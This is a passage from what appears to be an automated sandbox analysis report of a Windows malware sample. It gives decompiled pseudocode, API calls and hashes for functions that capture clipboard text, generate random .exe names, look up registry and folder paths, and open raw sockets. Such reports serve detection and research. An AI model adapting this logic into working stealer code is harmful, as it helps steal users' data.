					_push( &_v12);
					_push(0x1000);
					_push(_v20);
					_push(_a4);
					if( *0x4229b0() == 0) {
						break;
					}
					if(_v12 == 0) {
						FlushFileBuffers(_t41);
						_v5 = 1;
						break;
					}
					if(WriteFile(_t41, _v20, _v12,  &_v24, 0) == 0) {
						break;
					}
					_t37 = _v12;
					if(_t37 != _v24) {
						break;
					}
					_v16 = _v16 + _t37;
					if(_v16 <= _a12) {
						continue;
					}
					break;
				}
				E0040E235(_v20);
				goto L13;
			}

0x004101ac
0x004101b5
0x004101ba
0x0041025a
0x00410260
0x00410260
0x004101c5
0x004101ca
0x004101cf
0x00410246
0x00410247
0x00410250
0x00410255
0x00410255
0x00000000
0x00410250
0x004101d1
0x004101d4
0x004101ed
0x004101ee
0x004101f3
0x004101f6
0x00410201
0x00000000
0x00000000
0x00410206
0x00410234
0x0041023a
0x00000000
0x0041023a
0x0041021c
0x00000000
0x00000000
0x0041021e
0x00410224
0x00000000
0x00000000
0x00410226
0x0041022f
0x00000000
0x00000000
0x00000000
0x00410231
0x00410241
0x00000000

APIs

CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000002,00000080,00000000,00000000,00000000,?,?,?,?,00000000), ref: 004101AF
WaitForSingleObject.KERNEL32(?,00000000), ref: 004101DD
WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 00410214
FlushFileBuffers.KERNEL32(00000000), ref: 00410234
CloseHandle.KERNEL32(00000000), ref: 00410247

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: File$BuffersCloseCreateFlushHandleObjectSingleWaitWrite
String ID:
API String ID: 2221582205-0
Opcode ID: d5e00ad759d7561c0725dc7405c36950f9ad73ccc45db7d05c54116ad9056463
Instruction ID: aaf28499c4abc2355f36cd2190b59b823c40314adfba6caf6416960c29e0e31f
Opcode Fuzzy Hash: d5e00ad759d7561c0725dc7405c36950f9ad73ccc45db7d05c54116ad9056463
Instruction Fuzzy Hash: C9215C71900148BFDF219FA0DD88BEE7B79BB08341F0044A6F951B52A1D7B98ED5CB29

Uniqueness

Uniqueness Score: -1.00%

Function 0041D61A, Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 71
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0041D61A(intOrPtr _a4) {
				intOrPtr _v8;
				void* __esi;
				void* _t13;
				signed int _t19;
				signed short _t26;
				signed int _t30;
				void* _t37;

				_t37 = E0040ED84(_a4);
				if(_t37 > 0x3e8) {
					EnterCriticalSection(0x4238f4);
					E0040E235( *0x4238e8);
					 *0x4238e8 =  *0x4238e8 & 0x00000000;
					 *0x4238f0 = 0;
					LeaveCriticalSection(0x4238f4);
					return 0;
				}
				EnterCriticalSection(0x4238f4);
				_t26 = ( *0x4238f0 & 0x0000ffff) + _t37;
				if(_t26 <= 0x3e8) {
					_t13 = E0040E1C0(_t26 + _t26, 0x4238e8);
					if(_t13 != 0) {
						_t30 =  *0x4238e8; // 0x0
						_t13 = E0040E271(_t30 + ( *0x4238f0 & 0x0000ffff) * 2, _a4, _t37 + _t37);
						 *0x4238f0 = _t26;
					}
				} else {
					_t13 = E0040E1C0(0x7d0, 0x4238e8);
					if(_t13 != 0) {
						_t18 = 0x3e8 - _t37;
						_t19 =  *0x4238e8; // 0x0
						E0040E271(_t19, _t19 + (( *0x4238f0 & 0x0000ffff) - 0x3e8 - _t37) * 2, 0x3e8 - _t37 + _t18);
						_t13 = E0040E271(0x3e8 - _t37 + _t18 +  *0x4238e8, _v8, _t37 + _t37);
						 *0x4238f0 = 0x3e8;
					}
				}
				LeaveCriticalSection(0x4238f4);
				return _t13;
			}

0x0041d626
0x0041d62f
0x0041d637
0x0041d643
0x0041d648
0x0041d652
0x0041d658
0x00000000
0x0041d658
0x0041d669
0x0041d676
0x0041d67f
0x0041d6cf
0x0041d6d6
0x0041d6d8
0x0041d6f1
0x0041d6f6
0x0041d6f6
0x0041d681
0x0041d686
0x0041d68d
0x0041d698
0x0041d69f
0x0041d6aa
0x0041d6be
0x0041d6c3
0x0041d6c3
0x0041d68d
0x0041d702
0x00000000

APIs

EnterCriticalSection.KERNEL32(004238F4,?,?,?,0041D90D,?), ref: 0041D637

Part of subcall function 0040E235: HeapFree.KERNEL32(00000000,00000000,0040FA2C,00000000,?,?,?,00404B40,00000000,00405142), ref: 0040E248

LeaveCriticalSection.KERNEL32(004238F4,?,?,?,0041D90D,?), ref: 0041D658
EnterCriticalSection.KERNEL32(004238F4,?,?,?,?,0041D90D,?), ref: 0041D669
LeaveCriticalSection.KERNEL32(004238F4,?,?,?,0041D90D,?), ref: 0041D702

Strings

8B, xrefs: 0041D678

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalSection$EnterLeave$FreeHeap
String ID: 8B
API String ID: 1946732658-1803290843
Opcode ID: 1237f5b74ed70bd9e1c6ed48392993f5fd49d9f34f50093acfcc45325d62d8c5
Instruction ID: e6a728f64bf35e455b92b480274f9cf92c3a365bb1bb06143ef79c64e89c8bc4
Opcode Fuzzy Hash: 1237f5b74ed70bd9e1c6ed48392993f5fd49d9f34f50093acfcc45325d62d8c5
Instruction Fuzzy Hash: ED219CB1600202ABC710BFA5EC85D7A33F8EF54306B80053BF401AA1A1EB7D5956D79D

Uniqueness

Uniqueness Score: -1.00%

Function 0041D91D, Relevance: 7.6, APIs: 5, Instructions: 70
clipboardCOMMON

Download Yara Rule

C-Code - Quality: 63%

			E0041D91D(void* _a4) {
				signed int _t11;
				void* _t21;
				void* _t23;
				void* _t24;
				int _t25;

				_t25 = _a4;
				_t23 = GetClipboardData(_t25);
				_a4 = _t23;
				if(E0040548D() == 0) {
					return _t23;
				}
				if(_t23 == 0 || _t25 != 1 && _t25 != 0xd && _t25 != 7) {
					L20:
					return _a4;
				} else {
					_t21 = GlobalLock(_t23);
					if(_t21 == 0) {
						L19:
						goto L20;
					}
					_t11 = _t25 - 1;
					if(_t11 == 0) {
						_push(_t21);
						_push(0);
						L12:
						_t24 = E0040E475(_t11 | 0xffffffff);
						L15:
						if(_t24 != 0) {
							EnterCriticalSection(0x4238f4);
							E0041D61A(0x404590);
							E0041D61A(_t24);
							LeaveCriticalSection(0x4238f4);
							if(_t24 != _t21) {
								E0040E235(_t24);
							}
						}
						GlobalUnlock(_a4);
						goto L19;
					}
					_t11 = _t11 - 6;
					if(_t11 == 0) {
						_push(_t21);
						_push(1);
						goto L12;
					}
					if(_t11 != 6) {
						_t24 = _a4;
					} else {
						_t24 = _t21;
					}
					goto L15;
				}
			}

0x0041d921
0x0041d92c
0x0041d92e
0x0041d938
0x00000000
0x0041d93a
0x0041d943
0x0041d9cb
0x00000000
0x0041d958
0x0041d960
0x0041d964
0x0041d9ca
0x00000000
0x0041d9ca
0x0041d968
0x0041d969
0x0041d988
0x0041d989
0x0041d97c
0x0041d984
0x0041d990
0x0041d992
0x0041d99a
0x0041d9a5
0x0041d9ab
0x0041d9b1
0x0041d9b9
0x0041d9bc
0x0041d9bc
0x0041d9b9
0x0041d9c4
0x00000000
0x0041d9c4
0x0041d96b
0x0041d96e
0x0041d979
0x0041d97a
0x00000000
0x0041d97a
0x0041d973
0x0041d98d
0x0041d975
0x0041d975
0x0041d975
0x00000000
0x0041d973

APIs

GetClipboardData.USER32 ref: 0041D926

Part of subcall function 0040548D: WaitForSingleObject.KERNEL32(00000000,004094C0,?,?,19367402,00000001), ref: 00405495

GlobalLock.KERNEL32 ref: 0041D95A
EnterCriticalSection.KERNEL32(004238F4,00000000,00000000), ref: 0041D99A
LeaveCriticalSection.KERNEL32(004238F4,00000000,00404590), ref: 0041D9B1
GlobalUnlock.KERNEL32(?,00000000,00000000), ref: 0041D9C4

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalGlobalSection$ClipboardDataEnterLeaveLockObjectSingleUnlockWait
String ID:
API String ID: 1109978993-0
Opcode ID: d4bbe4f69b0e2f94139158e4c81e76c5f270b4a2b92b9241fbef297100bb9f67
Instruction ID: e7b6e90e5465cfe3f2ee1d5d6136167f87edf4e3a8a6dd74b5b47b9a805e2788
Opcode Fuzzy Hash: d4bbe4f69b0e2f94139158e4c81e76c5f270b4a2b92b9241fbef297100bb9f67
Instruction Fuzzy Hash: E01129F2D1011577CB112F699D84AFF7A589B89794B14013BF919BB360DB3C8CC286AE

Uniqueness

Uniqueness Score: -1.00%

Function 00409456, Relevance: 7.6, APIs: 5, Instructions: 69
synchronizationthreadCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00409456(void* __ecx, void* __eflags) {
				intOrPtr _v8;
				char _v100;
				char _v200;
				char _v720;
				void* __edi;
				void* __esi;
				intOrPtr _t14;
				void* _t20;
				void* _t22;
				long _t24;
				long _t29;
				void* _t32;
				void* _t34;
				void* _t35;
				WCHAR* _t38;
				void* _t45;

				_t45 = __eflags;
				_t35 = __ecx;
				SetThreadPriority(GetCurrentThread(), 0);
				_t14 = E00405367(_t35, _t45, 0x19367402, 1);
				_v8 = _t14;
				if(_t14 != 0) {
					E0040532C(0xff220829,  &_v200, 0);
					_t38 =  &_v720;
					E00405688(_t35, _t38, 1);
					PathQuoteSpacesW(_t38);
					_t36 = _t38;
					_t32 = E0040ED84(_t38);
					_t20 = E0040548D();
					__eflags = _t20;
					if(_t20 == 0) {
						L7:
						E00411B13(_v8);
						__eflags = 0;
						return 0;
					}
					_t22 = 3;
					E00407384(_t22,  &_v100);
					_t24 = WaitForSingleObject( *0x42276c, 0xc8);
					__eflags = _t24 - 0x102;
					if(_t24 != 0x102) {
						L6:
						goto L7;
					}
					_t34 = _t32 + _t32 + 2;
					do {
						E00412646(_t36,  &_v100,  &_v200, 1,  &_v720, _t34);
						_t29 = WaitForSingleObject( *0x42276c, 0xc8);
						__eflags = _t29 - 0x102;
					} while (_t29 == 0x102);
					goto L6;
				}
				return _t14 + 1;
			}

0x00409456
0x00409456
0x00409468
0x00409475
0x0040947a
0x0040947f
0x00409497
0x0040949e
0x004094a4
0x004094ac
0x004094b2
0x004094b9
0x004094bb
0x004094c0
0x004094c2
0x00409519
0x0040951c
0x00409522
0x00000000
0x00409524
0x004094ca
0x004094cb
0x004094dc
0x004094e5
0x004094e7
0x00409518
0x00000000
0x00409518
0x004094e9
0x004094ed
0x00409502
0x0040950e
0x00409514
0x00409514
0x00000000
0x004094ed
0x00000000

APIs

GetCurrentThread.KERNEL32 ref: 00409461
SetThreadPriority.KERNEL32(00000000), ref: 00409468

Part of subcall function 00405367: CreateMutexW.KERNEL32(004222E0,00000000,?,?,?,?,?), ref: 00405388

PathQuoteSpacesW.SHLWAPI(?,00000001,FF220829,?,00000000,?,?,19367402,00000001), ref: 004094AC
WaitForSingleObject.KERNEL32(000000C8,?,?,?,19367402,00000001), ref: 004094DC
WaitForSingleObject.KERNEL32(000000C8,?,?,00000001,?,?,?,?,?,19367402,00000001), ref: 0040950E

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: ObjectSingleThreadWait$CreateCurrentMutexPathPriorityQuoteSpaces
String ID:
API String ID: 123286213-0
Opcode ID: 8ded54a9daba52c974c504d0083593837cf3587161820803f4f1218cbb7c477b
Instruction ID: da5375bf879a1a8308023641bfc80c9c4bba5364e1601c2c688d23a298e23b37
Opcode Fuzzy Hash: 8ded54a9daba52c974c504d0083593837cf3587161820803f4f1218cbb7c477b
Instruction Fuzzy Hash: 9D11D232A002057BDB21ABA1DD49FEF7679EB44308F500476FA05F70D1D7789E018BA8

Uniqueness

Uniqueness Score: -1.00%

Function 004134FA, Relevance: 7.6, APIs: 5, Instructions: 67
filememoryCOMMON

Download Yara Rule

C-Code - Quality: 65%

			E004134FA(signed int __eax, void* __ecx, void** __esi, WCHAR* _a4) {
				intOrPtr _v8;
				long _v12;
				void* _t19;
				void* _t20;
				long _t23;
				void* _t24;

				_t34 = __esi;
				asm("sbb eax, eax");
				_t19 = CreateFileW(_a4, 0x80000000,  ~(__eax & 2) & 0x00000006 | 0x00000001, 0, 3, 0, 0);
				__esi[2] = _t19;
				if(_t19 == 0xffffffff) {
					L11:
					_t20 = 0;
				} else {
					_push( &_v12);
					_push(_t19);
					if( *0x4237bc() == 0 || _v8 != 0) {
						L10:
						CloseHandle(_t34[2]);
						goto L11;
					} else {
						_t23 = _v12;
						__esi[1] = _t23;
						if(_t23 != 0) {
							_t24 = VirtualAlloc(0, _t23, 0x3000, 4);
							 *__esi = _t24;
							if(_t24 == 0) {
								goto L10;
							} else {
								if(E00415113(__esi[2], _t24, __esi[1],  &_a4) == 0 || _a4 != __esi[1]) {
									VirtualFree( *_t34, 0, 0x8000);
									goto L10;
								} else {
									goto L5;
								}
							}
						} else {
							 *__esi = 0;
							L5:
							_t20 = 1;
						}
					}
				}
				return _t20;
			}

0x004134fa
0x0041350d
0x0041351f
0x00413525
0x0041352b
0x00413599
0x00413599
0x0041352d
0x00413530
0x00413531
0x0041353a
0x00413590
0x00413593
0x00000000
0x00413541
0x00413541
0x00413544
0x00413549
0x0041355a
0x00413560
0x00413564
0x00000000
0x00413566
0x00413578
0x0041358a
0x00000000
0x00000000
0x00000000
0x00000000
0x00413578
0x0041354b
0x0041354b
0x0041354d
0x0041354d
0x0041354d
0x00413549
0x0041353a
0x0041359d

APIs

CreateFileW.KERNEL32(?,80000000,?,00000000,00000003,00000000,00000000,?,?,?,?,00405B81), ref: 0041351F
GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,00405B81), ref: 00413532
VirtualAlloc.KERNEL32(00000000,?,00003000,00000004,?,?,?,?,00405B81), ref: 0041355A
VirtualFree.KERNEL32(?,00000000,00008000,?,00000000,?,?,?,?,?,?,00405B81), ref: 0041358A
CloseHandle.KERNEL32(?,?,?,?,?,00405B81), ref: 00413593

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: FileVirtual$AllocCloseCreateFreeHandleSize
String ID:
API String ID: 3965254503-0
Opcode ID: cdfc3214cbc3763686a988da13f4cc615456f97b70b74c575ba337eb29bf5664
Instruction ID: 1d8e045c8ebbc706c42696456531c5582b8ec4360875902bff2159b74b944d0c
Opcode Fuzzy Hash: cdfc3214cbc3763686a988da13f4cc615456f97b70b74c575ba337eb29bf5664
Instruction Fuzzy Hash: AB1186B1100600BFDB214F21CC49FAB7BF9EB48B51F10491DF596D6160E774EA81CB28

Uniqueness

Uniqueness Score: -1.00%

Function 0041182F, Relevance: 7.6, APIs: 5, Instructions: 63networkCOMMON

Download Yara Rule

APIs

socket.WS2_32(000000FF,00000002,00000000), ref: 00411841
WSAIoctl.WS2_32(00000000,48000016,00000000,00000000,00020000,00000000,00020000,00000000,00000000), ref: 0041186B
WSAGetLastError.WS2_32 ref: 00411872
WSAIoctl.WS2_32(00000000,48000016,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041189E

Part of subcall function 0040E235: HeapFree.KERNEL32(00000000,00000000,0040FA2C,00000000,?,?,?,00404B40,00000000,00405142), ref: 0040E248

closesocket.WS2_32(?), ref: 004118B2

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: Ioctl$ErrorFreeHeapLastclosesocketsocket
String ID:
API String ID: 2355469559-0
Opcode ID: 96e0e59d4b3254fbf2ea28d7f3c403ef991912b4b394045f66a85340c2cd4cba
Instruction ID: df73edae6778ddf27128cd284856b4a1f9c329a641cd50dc6dac15698f4d4462
Opcode Fuzzy Hash: 96e0e59d4b3254fbf2ea28d7f3c403ef991912b4b394045f66a85340c2cd4cba
Instruction Fuzzy Hash: 37117371801118BFDB10AFA5DD48CDF7F3DEF453A0B104166F909A21A0D7349E41DBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00412746, Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 103
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00412746(signed int __eax, signed int __ecx, void* __eflags, signed int _a4, signed short* _a8) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				intOrPtr _v24;
				char* _v28;
				char* _v32;
				signed int _t56;
				WCHAR* _t57;
				short* _t59;
				signed short _t71;
				char* _t77;
				signed int _t84;
				signed short* _t85;
				signed int _t87;
				intOrPtr _t88;
				void* _t89;

				_t87 = E0040F5BA(__eax & 0x000000ff, __ecx & 0x000000ff);
				_v16 = _t87;
				_t56 = E0040F56E();
				_t77 = "bcdfghklmnpqrstvwxz";
				if((_t56 & 0x00000100) == 0) {
					_v32 = "aeiouy";
					_v28 = _t77;
				} else {
					_v32 = _t77;
					_v28 = "aeiouy";
				}
				_t84 = 0;
				_v12 = 0;
				_v8 = 0;
				if(_t87 > 0) {
					_v20 = _a4 & 0x00000004;
					do {
						if(_v8 == 2) {
							if((E0040F56E() & 0x00000100) == 0) {
								_v32 = "aeiouy";
								_v28 = _t77;
							} else {
								_v32 = _t77;
								_v28 = "aeiouy";
							}
							_v8 = _v8 & 0x00000000;
						}
						_t88 =  *((intOrPtr*)(_t89 + _v8 * 4 - 0x1c));
						_v24 = ((0 | _t88 != _t77) - 0x00000001 & 0x0000000d) + 6;
						if(_v20 == 0 || _t84 - _v12 <= 1 || (E0040F56E() & 0x00000101) != 0x101) {
							_t71 =  *((char*)(E0040F5BA(_v24 - 1, 0) + _t88));
						} else {
							_t71 = 0x20;
							_v12 = _t84;
						}
						_a8[_t84] = _t71;
						_t84 = _t84 + 1;
						_v8 = _v8 + 1;
					} while (_t84 < _v16);
					_t87 = _v16;
				}
				if((_a4 & 0x00000004) == 0 || _t87 == 0) {
					_t85 = _a8;
				} else {
					_t85 = _a8;
					_t45 = _t87 * 2; // 0x2
					_t59 = _t85 + _t45 - 2;
					while( *_t59 == 0x20) {
						_t59 = _t59 - 2;
						_t87 = _t87 - 1;
						if(_t87 != 0) {
							continue;
						} else {
						}
						goto L24;
					}
				}
				L24:
				_t57 = 0;
				_t85[_t87] = 0;
				if((_a4 & 0x00000002) != 0) {
					_t57 = CharUpperW( *_t85 & 0x0000ffff);
					 *_t85 = 0;
				}
				return _t57;
			}

0x0041275b
0x0041275d
0x00412760
0x00412765
0x0041276f
0x0041277d
0x00412784
0x00412771
0x00412771
0x00412774
0x00412774
0x00412787
0x00412789
0x0041278c
0x00412791
0x0041279d
0x004127a0
0x004127a4
0x004127b0
0x004127be
0x004127c5
0x004127b2
0x004127b2
0x004127b5
0x004127b5
0x004127c8
0x004127c8
0x004127cf
0x004127e5
0x004127e8
0x00412819
0x00412806
0x00412808
0x00412809
0x00412809
0x00412821
0x00412825
0x00412826
0x00412829
0x00412832
0x00412832
0x00412839
0x00412854
0x0041283f
0x0041283f
0x00412842
0x00412842
0x00412846
0x0041284c
0x0041284f
0x00412850
0x00000000
0x00000000
0x00412852
0x00000000
0x00412850
0x00412846
0x00412857
0x00412857
0x0041285d
0x00412861
0x00412867
0x0041286d
0x0041286d
0x00412874

APIs

Part of subcall function 0040F56E: GetTickCount.KERNEL32 ref: 0040F56E

CharUpperW.USER32(00000000,?,.exe,00000000,00000000), ref: 00412867

Strings

aeiouy, xrefs: 00412774, 0041277D, 004127B5, 004127BE
bcdfghklmnpqrstvwxz, xrefs: 00412765
.exe, xrefs: 00412751

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: CharCountTickUpper
String ID: .exe$aeiouy$bcdfghklmnpqrstvwxz
API String ID: 2674899715-3410450461
Opcode ID: f1ce09df5a1ffdb6e3e050275abc2eb8f150a55ce8373afb5db43a69e372195f
Instruction ID: 8a8ea738737d39b16060a0ef0bdf62e98865d595149dc746ec7ac9e04c101cc2
Opcode Fuzzy Hash: f1ce09df5a1ffdb6e3e050275abc2eb8f150a55ce8373afb5db43a69e372195f
Instruction Fuzzy Hash: 7E318075D00209EBDB10EFA5C6452EEB7B4EF44314F14806BD951FB281D3BC9A95CB98

Uniqueness

Uniqueness Score: -1.00%

Function 00419ADF, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 94
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E00419ADF(void* __ecx, char* __edx, void* __eflags) {
				intOrPtr _v8;
				char _v12;
				char _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				char _v52;
				char _v76;
				char _v116;
				char _v636;
				short _v1156;
				void* __edi;
				void* __esi;
				void* _t28;
				void* _t30;
				void* _t35;
				void* _t39;
				char* _t42;
				void* _t52;
				WCHAR* _t55;
				char* _t60;
				signed int _t61;
				void* _t62;
				intOrPtr _t70;

				_t54 = __edx;
				_t52 = __ecx;
				E0040E2E8( &_v12,  &_v12, 0, 8);
				_t28 = 0x60;
				E00407384(_t28,  &_v116);
				_t30 = 0x61;
				E00407384(_t30,  &_v52);
				_t55 =  &_v636;
				_t35 = E004124EB(0x80000002, _t52, _t55,  &_v116,  &_v52, 0x104);
				if(_t35 != 0xffffffff) {
					_t65 = _t35;
					if(_t35 > 0) {
						ExpandEnvironmentStringsW(_t55,  &_v1156, 0x104);
						E00419897(_t65,  &_v1156,  &_v12);
					}
				}
				if(_v8 != 0) {
					L9:
					if(_t70 <= 0) {
						return E0040E235(_v12);
					}
					_push(0xcb);
					return E00418783(_t54, _v12, 0x63);
				} else {
					_t60 =  &_v76;
					_t39 = 0x62;
					E00407384(_t39, _t60);
					_v28 = 0x23;
					_v24 = 0x1a;
					_v20 = 0x26;
					_v16 = _t60;
					_t61 = 0;
					do {
						_t42 =  &_v636;
						__imp__SHGetFolderPathW(0,  *((intOrPtr*)(_t62 + _t61 * 4 - 0x18)), 0, 0, _t42);
						_t68 = _t42;
						if(_t42 == 0) {
							_t54 =  &_v16;
							E00413A0C( &_v636,  &_v16, _t68, 1, 2, E004198F1,  &_v12, 0, 0, 0);
						}
						_t61 = _t61 + 1;
					} while (_t61 < 3);
					_t70 = _v8;
					goto L9;
				}
			}

0x00419adf
0x00419adf
0x00419af4
0x00419afe
0x00419aff
0x00419b09
0x00419b0a
0x00419b1d
0x00419b28
0x00419b30
0x00419b32
0x00419b34
0x00419b41
0x00419b52
0x00419b52
0x00419b34
0x00419b5a
0x00419bc2
0x00419bc2
0x00000000
0x00419bd9
0x00419bc7
0x00000000
0x00419b5c
0x00419b5e
0x00419b61
0x00419b62
0x00419b69
0x00419b70
0x00419b77
0x00419b7e
0x00419b81
0x00419b83
0x00419b83
0x00419b91
0x00419b97
0x00419b99
0x00419bab
0x00419bb4
0x00419bb4
0x00419bb9
0x00419bba
0x00419bbf
0x00000000
0x00419bbf

APIs

Part of subcall function 004124EB: RegOpenKeyExW.ADVAPI32(80000002,?,00000000,00000001,00000000,00000104,00000000,?,?,0041C39E,?,?,00000104,.exe,00000000), ref: 00412500

ExpandEnvironmentStringsW.KERNEL32(?,?,00000104,?,?,00000104,?,00000000,00000008,?,00000000,00000001), ref: 00419B41
SHGetFolderPathW.SHELL32(00000000,00000023,00000000,00000000,?,?,?,00000104,?,00000000,00000008,?,00000000,00000001), ref: 00419B91

Strings

&, xrefs: 00419B77
#, xrefs: 00419B69

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: EnvironmentExpandFolderOpenPathStrings
String ID: #$&
API String ID: 1994525040-3870246384
Opcode ID: a0fdbbdf4f874ad0d3fa7cb02a9b6aed576f3954756fc13af379496e31f03821
Instruction ID: 1998b9292811c145b1d3570802f7745ed454e6fbef519ea5e3623efc04630214
Opcode Fuzzy Hash: a0fdbbdf4f874ad0d3fa7cb02a9b6aed576f3954756fc13af379496e31f03821
Instruction Fuzzy Hash: A43171B2D00218AAEF10AAA1DC99EDE777CFB44308F10056BFA01F7180D6786E858B95

Uniqueness

Uniqueness Score: -1.00%

Function 0041A38F, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 94
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E0041A38F(void* __ecx, char* __edx, void* __eflags) {
				intOrPtr _v8;
				char _v12;
				char _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				char _v44;
				char _v68;
				char _v120;
				char _v644;
				short _v1164;
				void* __edi;
				void* __esi;
				void* _t28;
				void* _t30;
				void* _t35;
				void* _t39;
				char* _t42;
				void* _t52;
				WCHAR* _t55;
				char* _t60;
				signed int _t61;
				void* _t62;
				intOrPtr _t70;

				_t54 = __edx;
				_t52 = __ecx;
				E0040E2E8( &_v12,  &_v12, 0, 8);
				_t28 = 0x77;
				E00407384(_t28,  &_v120);
				_t30 = 0x78;
				E00407384(_t30,  &_v44);
				_t55 =  &_v644;
				_t35 = E004124EB(0x80000001, _t52, _t55,  &_v120,  &_v44, 0x104);
				if(_t35 != 0xffffffff) {
					_t65 = _t35;
					if(_t35 > 0) {
						ExpandEnvironmentStringsW(_t55,  &_v1164, 0x104);
						E0041A132(_t65,  &_v1164,  &_v12);
					}
				}
				if(_v8 != 0) {
					L9:
					if(_t70 <= 0) {
						return E0040E235(_v12);
					}
					_push(0xcb);
					return E00418783(_t54, _v12, 0x7a);
				} else {
					_t60 =  &_v68;
					_t39 = 0x79;
					E00407384(_t39, _t60);
					_v28 = 0x1a;
					_v24 = 0x26;
					_v20 = 0x23;
					_v16 = _t60;
					_t61 = 0;
					do {
						_t42 =  &_v644;
						__imp__SHGetFolderPathW(0,  *((intOrPtr*)(_t62 + _t61 * 4 - 0x18)), 0, 0, _t42);
						_t68 = _t42;
						if(_t42 == 0) {
							_t54 =  &_v16;
							E00413A0C( &_v644,  &_v16, _t68, 1, 2, E0041A16A,  &_v12, 0, 0, 0);
						}
						_t61 = _t61 + 1;
					} while (_t61 < 3);
					_t70 = _v8;
					goto L9;
				}
			}

0x0041a38f
0x0041a38f
0x0041a3a4
0x0041a3ae
0x0041a3af
0x0041a3b9
0x0041a3ba
0x0041a3cd
0x0041a3d8
0x0041a3e0
0x0041a3e2
0x0041a3e4
0x0041a3f1
0x0041a402
0x0041a402
0x0041a3e4
0x0041a40a
0x0041a472
0x0041a472
0x00000000
0x0041a489
0x0041a477
0x00000000
0x0041a40c
0x0041a40e
0x0041a411
0x0041a412
0x0041a419
0x0041a420
0x0041a427
0x0041a42e
0x0041a431
0x0041a433
0x0041a433
0x0041a441
0x0041a447
0x0041a449
0x0041a45b
0x0041a464
0x0041a464
0x0041a469
0x0041a46a
0x0041a46f
0x00000000
0x0041a46f

APIs

Part of subcall function 004124EB: RegOpenKeyExW.ADVAPI32(80000002,?,00000000,00000001,00000000,00000104,00000000,?,?,0041C39E,?,?,00000104,.exe,00000000), ref: 00412500

ExpandEnvironmentStringsW.KERNEL32(?,?,00000104,?,?,00000104,?,00000000,00000008,?,00000000,00000001), ref: 0041A3F1
SHGetFolderPathW.SHELL32(00000000,0000001A,00000000,00000000,?,?,?,00000104,?,00000000,00000008,?,00000000,00000001), ref: 0041A441

Strings

#, xrefs: 0041A427
&, xrefs: 0041A420

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: EnvironmentExpandFolderOpenPathStrings
String ID: #$&
API String ID: 1994525040-3870246384
